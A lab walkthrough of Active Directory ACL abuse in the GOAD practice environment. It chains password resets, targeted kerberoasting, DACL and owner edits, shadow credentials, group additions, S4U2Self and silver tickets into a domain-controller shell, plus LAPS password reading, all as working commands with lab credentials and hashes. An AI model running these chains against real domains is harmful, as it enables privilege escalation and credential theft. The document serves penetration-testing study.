Skip to content

10

ACL ABUSE

ACL (Access Control List) attacks in Active Directory refer to malicious activities that exploit vulnerabilities or misconfigurations in the access control mechanisms of the Active Directory (AD) system. -ChatGPT

sevenkingdoms.local

There are a host of ACL attack pathways in the GOAD lab.

ACLs

Let's investigate a potential path to to compromise the Domain Controller.

aclattackpath

attack

ForceChangePassword

We have identified that tywin.lannister can change jamie.lannister 's account password. Which we can now arbitrarily set because of the ACL applied to our compromised user.

Danger

Avoid changing account passwords if possible during actual engagements, and if you must....check first with the customer before doing so.

net rpc to change pass
net rpc password jamie.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local
net rpc

GenericWrite on User (Jaime -> Joffrey)

Now that we have set a new password on jamie.lannister we can exploit GenericWrite on joffrey. There are a couple of ways that we could go about doing this. If we are dealing with Server 2016+ we could leverage shadowCredentials, we could use a logonScript or we can use targeted kerberoasting by setting an SPN, asking for a TGS as that user and trying to crack it offline.

targetedKerberoast.py
git clone https://github.com/ShutdownRepo/targetedKerberoast.git

targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p dirtbag --request-user joffrey.baratheon

hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force
targetedKerberoast

hashcat

WriteDacl on User (Joffrey -> Tyron)

Analyzing the ACLs in BloodHound we can see that joffrey.baratheon has the WriteDacl permission on tyron.lannister

writedacl

From Linux we cann exploit this ACL permission with dacledit.py from Shutdown's impacket fork found here

dacledit.py
git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 -m venv $(pwd)
source bin/activate
sudo python3 setup.py install
pip3 install flask dsinternals charset_normalizer requests cryptography dnspython
Now we can use the dacledit.py script to check on the right's of joffrey.baratheon

dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

dacledit.py

We can now change the permission to "FullControl" and check that we modified it successfully.

dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'

dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
fullcontrol

Add self on Group (Tyron -> Small Council)

With FullControl permissions we can do all sorts of deliciously evil things ... e.g. change tyron.lannister's password, targeted kerberoasting attacks by setting SPNs etc... Let's perform a shadowcredential attack with certipy.

shadow credential attack w/ certipy
certipy shadow auto -u joffrey.baratheon@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'
shadowcreds

With access to tryon.lannister's NT Hash we can add ourself to the small council group. To do so we need to first find the distinguished name for the group and tyron.

adding to small council group
# finding the distinguished names syntax of tyron.lannister & small council group
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 search '(sAMAccountName=tyron.lannister)' distinguishedName

ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 search '(sAMAccountName=small council)' distinguishedName

Now we can add tyron to the group.

# add to the small council group
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"

# confirm it worked
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 membersof 'Small Council'

AddMember on Group (Small Council -> dragonstone)

As tyron.lannister we are now in the small council group, and can see that this group has the AddMember ACL over dragonstone.

AddMember

As before we can use ldeep for this...

# add tyron.lannister to dragonstone group
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=Sevenkingdoms,DC=local"

# confirm user was successfully added to group
ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 membersof "DragonStone"
tyronadded confirm

WriteOwner on Group (dragonstone -> kingsguard)

With the WriteOwner privilege on kingsguard group we can change who is the group's owner with thePorg's fork of impacket from linux.

acl-writeowner

# check current group owner
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

# write a new-owner of the group
owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

# check it worked ...
owneredit.py -action read -target 'kingsguard' -hashes ':b3b3717f7d51b37fb325f7e7d048e998' sevenkingdoms.local/tyron.lannister

write-owner

Now that we own the group, lets give our user GenericAll permissions to the group

dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':b3b3717f7d51b37fb325f7e7d048e998'

addkingsguard

And then add tyron.lannister to the kingsguard group

ldeep ldap -u tyron.lannister -H ':b3b3717f7d51b37fb325f7e7d048e998' -d sevenkingdoms.local -s ldap://192.168.10.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"

kingsguarded

GenericAll on user (kingsguard -> stannis.baratheon)

We can see that in bloodhound, the kingsguard group (that we are now in) has GenericAll over the stannis.baratheon user. As such, we can change his password.

stannis

net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%b3b3717f7d51b37fb325f7e7d048e998 -S kingslanding.sevenkingdoms.local
setting new pass

GenericAll on Computer (stannis.baratheon->kingslanding dc)

Bloodhound shows us the stannis.baratheon has GenericAll over the kingslanding domain controller.

stannisbh

We are going to assume that the system admins are following best practices in this demonstration and have disabled the default ability for us to add a computer object to the domain. Since ADCS is in use in the domain and we have write privileges on the msDS-KeyCredentialLink, we can perform the shadow credentials attack to get direct access on a target account with certipy. In this case we have changed the stannis.baratheon password in the previous step to P@ssw0rd123!

certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'P@ssw0rd123!' -account 'kingslanding$'
kingslandinghash

Now that we have the NT hash to the domain controller we can DCSync whatever account we want! But as the most 1337 of h@x0rs lets get an actual shell on the kingslanding domain controller!

Shell on DC with S4U2Self

To use the machine account to obtain an administrator level shell on the kingslanding domain controller, we need to use the .ccache and ask for a TGS.

export KRB5CCNAME=kingslanding.ccache
./getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.10.10 "sevenkingdoms.local"/'kingslanding$'

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
s4u2selfonDC

Shell on DC via SilverTicket

Alternatively, we could create and use a "silver ticket" to obtain a shell on the kingslanding DC. First, we need to figure out the domain SID

lookupsid.py -hashes ':c9ab3a12eabc66afec39a39a8f9b3a79' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
Then we can use ticketer.py to create the ticket

ticketer.py -nthash 'c9ab3a12eabc66afec39a39a8f9b3a79' -domain-sid 'S-1-5-21-2377746942-1868729182-3144119735' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdo
ms.local Administrator
Finally we will export it and then use it to access the DC!

export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local

Read LAPS Password

Switching back to the essos.local domain...we see in BloodHound that our owned user jorah.mormont has the ability to read the LAPS password. We can obtain that password with CME.

cme ldap 192.168.10.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps

wmiexec.py administrator@braavos.essos.local
cme-laps

lapsadmin

Next: ACL Abuse